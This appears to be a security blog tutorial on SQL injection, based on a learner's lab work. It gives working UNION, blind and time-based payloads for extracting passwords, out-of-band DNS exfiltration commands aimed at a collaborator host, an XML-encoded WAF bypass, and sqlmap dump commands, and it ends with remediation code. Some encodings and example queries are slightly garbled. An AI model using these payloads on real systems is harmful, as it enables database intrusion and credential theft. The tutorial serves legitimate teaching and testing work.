Listen to this Post
Introduction:
SQL injection remains one of the most critical web application vulnerabilities, consistently ranking in the OWASP Top 10. While many aspiring penetration testers memorize payloads, true mastery requires understanding the underlying SQL engine mechanics—reconstructing vulnerable queries, fingerprinting database backends, and differentiating between a failed exploit and an unconfirmed one. This article breaks down the complete SQL injection attack surface, from in-band UNION attacks to out-of-band DNS exfiltration, providing hands-on techniques, verified commands, and professional-grade reporting methodologies.
Learning Objectives:
- Master the classification and execution of in-band, blind, and out-of-band SQL injection techniques across multiple database platforms.
- Develop the ability to fingerprint database types and versions, and adapt payloads accordingly.
- Learn to bypass Web Application Firewalls (WAFs) using parser differentials and XML encoding.
- Understand root cause analysis and remediation strategies, including parameterized queries and input validation.
1. Database Fingerprinting: The Critical First Step
Before launching any payload, identifying the database backend is paramount. Oracle, MySQL, PostgreSQL, and MSSQL each have distinct syntax, functions, and system tables. A payload that works on MySQL will likely fail on Oracle.
Step-by-Step Guide:
- Inject a benign query to test for vulnerability, such as
' OR '1'='1.
2. Determine the database type using version-specific functions:
- MySQL/MSSQL: `’ UNION SELECT @@version–`
– Oracle: `’ UNION SELECT banner FROM v$version–`
– PostgreSQL: `’ UNION SELECT version()–`
3. Use concatenation tests to confirm the database:
- Oracle: `’foo’||’bar’` returns `foobar`
– MSSQL: `’foo’+’bar’`
– MySQL: `’foo’ ‘bar’` or `CONCAT(‘foo’,’bar’)`
4. Leverage the PortSwigger SQL injection cheat sheet for a comprehensive list of database-specific syntax.
Why This Matters: Fingerprinting prevents wasted time on incompatible payloads and is a core skill in professional VAPT reporting.
2. In-Band UNION Attacks: Direct Data Exfiltration
When the application returns query results directly in its response, UNION-based attacks are the most efficient method for data extraction. The attacker must match the column count and data types of the original query.
Step-by-Step Guide:
- Determine the number of columns using `ORDER BY` or `UNION SELECT NULL` payloads:
' ORDER BY 1-- ' ORDER BY 2-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL--
Increment the number until an error occurs to identify the exact column count.
-
Find a column that contains text by replacing `NULL` with a string literal (e.g.,
'a') to identify which column can display string data. -
Retrieve data from other tables using `INFORMATION_SCHEMA` (non-Oracle):
' UNION SELECT table_name, NULL FROM information_schema.tables-- ' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name = 'users'-- ' UNION SELECT username, password FROM users--
For Oracle, use `ALL_TABLES` and `ALL_TAB_COLUMNS`.
- Retrieve multiple values in a single column by concatenating them:
' UNION SELECT username || '~' || password FROM users--
This is crucial when the application only displays one column.
Pro Tip: If the application filters keywords, use XML numeric character references (e.g., `&x55;` for U) to bypass the WAF.
3. Blind SQL Injection: Exploiting the Silent Vulnerability
When the application does not return query results or error messages, blind SQL injection techniques are employed. These rely on inferring information through boolean conditions or time delays.
3.1 Boolean-Based Blind Injection
The attacker injects a condition that evaluates to true or false, and observes the application’s response (e.g., a “Welcome” message vs. an error).
Step-by-Step Guide:
- Establish a baseline: Inject a condition that is always true: `’ AND ‘1’=’1` and always false:
' AND '1'='2. - Extract data character by character using `SUBSTR` (or
SUBSTRING) and binary search for efficiency:' AND SUBSTR((SELECT password FROM users WHERE username='administrator'),1,1)='a
This checks if the first character of the password is ‘a’.
-
Optimize with length checks to know how many characters to extract:
' AND LENGTH((SELECT password FROM users WHERE username='administrator'))=20
3.2 Time-Based Blind Injection
When no visible difference exists, induce a time delay to confirm the condition.
Step-by-Step Guide:
1. Test for time delay using database-specific functions:
- MySQL: `SLEEP(5)`
– PostgreSQL: `pg_sleep(5)`
– MSSQL: `WAITFOR DELAY ‘0:0:5’`
2. Combine with conditional logic:
' AND CASE WHEN (SUBSTR((SELECT password FROM users WHERE username='administrator'),1,1)='a') THEN pg_sleep(10) ELSE pg_sleep(0) END--
If the condition is true, the response will be delayed by 10 seconds.
Command-Line Example (Linux):
Using curl to measure response time for boolean-based blind SQLi time curl -s "http://target.com/product?category=Gifts' AND '1'='1" time curl -s "http://target.com/product?category=Gifts' AND '1'='2"
4. Out-of-Band (OAST) Exploitation: When All Else Fails
When the application is completely blind—no output, no errors, no time delays—out-of-band (OOB) techniques force the database to exfiltrate data through an external channel, typically DNS or HTTP.
Step-by-Step Guide:
- Set up an OAST server such as Burp Collaborator or Interactsh to receive DNS/HTTP callbacks.
- Craft a payload that triggers a DNS lookup containing the exfiltrated data:
– MSSQL:
DECLARE @data varchar(1024); SELECT @data = (SELECT password FROM users WHERE username='administrator'); EXEC('master..xp_dirtree "\' + @data + '.collaborator.com\foo"');
– Oracle:
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://' || (SELECT password FROM users WHERE username='administrator') || '.collaborator.com/"> %remote;]>'),'/l') FROM dual;
– PostgreSQL (via XXE in SQLi): Use `COPY` or `dblink` to initiate network requests.
3. Monitor the OAST server for incoming requests. The data will be encoded in the subdomain or URL path.
Key Insight: OAST is a game-changer for true blind SQL injection scenarios where no response or timing works.
5. WAF Bypass via Parser Differential
Web Application Firewalls (WAFs) often use keyword blacklisting. A parser differential exploits discrepancies between how the WAF parses input and how the database engine parses it.
Step-by-Step Guide (XML Encoding Bypass):
- Identify the injection point within XML data (e.g., a stock check feature).
- Encode SQL keywords using XML numeric character references. For example, `SELECT` becomes
&x53;&x45;&x4C;&x45;&x43;&x54;. - Use the Hackvertor extension in Burp Suite to automate encoding: highlight the payload, right-click, and select Extensions > Hackvertor > Encode > dec_entities/hex_entities.
4. Example encoded UNION attack:
<stockCheck> <productId>1</productId> <storeId>1 &x55;&x4E;&x49;&x4F;&x4E; &x53;&x45;&x4C;&x45;&x43;&x54; &x75;&x73;&x65;&x72;&x6E;&x61;&x6D;&x65;, &x70;&x61;&x73;&x73;&x77;&x6F;&x72;&x64; &x46;&x52;&x4F;&x4D; &x75;&x73;&x65;&x72;&x73;--</storeId> </stockCheck>
The WAF sees encoded characters as benign, but the database decodes them into live SQL.
Conclusion: A WAF is not a fix—only parameterized queries actually solve injection.
6. Automated Exploitation with SQLMap
While manual exploitation is essential for understanding, SQLMap automates the detection and exploitation process. It supports various techniques, including boolean-based blind, time-based blind, UNION query, and OAST.
Step-by-Step Guide:
1. Basic detection:
sqlmap -u "http://target.com/product?category=Gifts" --batch
2. Specify technique to focus on specific injection types:
sqlmap -u "http://target.com/product?category=Gifts" --technique=BEUST B: Boolean-based blind, E: Error-based, U: UNION query, S: Stacked queries, T: Time-based blind
3. Enumerate databases, tables, and columns:
sqlmap -u "http://target.com/product?category=Gifts" --dbs sqlmap -u "http://target.com/product?category=Gifts" -D database_name --tables sqlmap -u "http://target.com/product?category=Gifts" -D database_name -T users --dump
4. Use tamper scripts to bypass WAFs:
sqlmap -u "http://target.com/product?category=Gifts" --tamper=between,randomcase
Tamper scripts modify the payload to evade detection.
- Second-order injection: SQLMap can exploit stored injections by providing the request where the payload is saved.
Note: Always test in authorized environments. SQLMap is a powerful tool but must be used responsibly.
7. Remediation: The Only Real Fix
Exploitation is only half the story. A professional VAPT report must include clear remediation steps.
Step-by-Step Remediation Guide:
- Use Parameterized Queries (Prepared Statements): This is the most effective defense. The SQL structure is sent to the database first, and parameters are bound separately, so input can never change the query’s meaning.
– Java (JDBC):
PreparedStatement stmt = conn.prepareStatement("SELECT FROM users WHERE username = ? AND password = ?");
stmt.setString(1, username);
stmt.setString(2, password);
– Python (SQLite):
cursor.execute("SELECT FROM users WHERE username = ? AND password = ?", (username, password))
– PHP (PDO):
$stmt = $pdo->prepare("SELECT FROM users WHERE username = :username AND password = :password");
$stmt->execute(['username' => $username, 'password' => $password]);
- Apply the Principle of Least Privilege: Database accounts used by the application should have the minimum necessary permissions (e.g., read-only, no access to system tables).
-
Validate and Sanitize Input: While not a replacement for parameterized queries, input validation (e.g., whitelisting allowed characters) adds a layer of defense.
-
Use a Web Application Firewall (WAF) with Caution: A WAF can help detect and block attacks, but it is not a fix for the underlying vulnerability.
-
Regular Security Testing: Conduct regular penetration tests and code reviews to identify and remediate vulnerabilities early.
What Undercode Say:
- SQL injection is a logic vulnerability, not a syntax trick—think in query reconstruction, not payload memorization. Understanding the SQL engine’s decision-making process is what separates a script kiddie from a professional pentester.
- Fingerprint the database first—Oracle vs. MySQL vs. PostgreSQL vs. MSSQL changes every function (SLEEP vs. pg_sleep vs. WAITFOR, FROM dual, || vs. CONCAT). A payload that works on one will likely fail on another.
- Knowing the difference between “my exploit failed” and “my tool couldn’t confirm it” is a real skill—the out-of-band labs teach this the hard way. OAST is a game changer in true blind SQL injection scenarios.
- A WAF is not a fix—a parser differential makes keyword filtering useless. Only parameterized queries actually solve injection at the root.
Analysis: Ameya Panchal’s journey from “SQL injection feels like magic” to writing professional VAPT-style reports exemplifies the right approach to learning application security. By reconstructing vulnerable queries, explaining the mechanism at the SQL-engine level, and documenting impact, root cause, and remediation, he has built a foundation that goes far beyond payload memorization. His focus on consistency—18 labs over two weeks—and his willingness to share failures and debugging journeys publicly on GitHub are commendable. The next steps—mastering SQLMap and exploring the rest of the OWASP Top 10—will further solidify his path toward a VAPT role and his first authorized bug-bounty finding. The inclusion of a custom AI pentest copilot, VulnixZ, also hints at a forward-looking approach to integrating AI into security workflows.
Prediction:
- +1 The demand for hands-on, lab-based security training will continue to surge as organizations prioritize practical skills over theoretical knowledge. Platforms like PortSwigger Academy will remain essential for aspiring penetration testers.
- +1 AI-powered pentest copilots (like VulnixZ) will increasingly augment human testers, automating repetitive tasks and enabling faster vulnerability discovery, though they will not replace the need for deep technical understanding.
- -1 Despite widespread awareness, SQL injection will persist as a top vulnerability due to legacy codebases and the continued use of dynamic query construction. The remediation gap between “knowing” and “doing” remains a significant challenge.
- -1 The rise of automated attack tools and WAF evasion techniques means that organizations cannot rely solely on perimeter defenses; secure coding practices and parameterized queries must become non-1egotiable standards.
- +1 The growing community of security professionals sharing write-ups and open-source tools will accelerate collective learning and raise the overall bar for application security, benefiting the entire industry.
▶️ Related Video (74% Match):
🎯Let’s Practice For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
IT/Security Reporter URL:
Reported By: Ameya Panchal – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
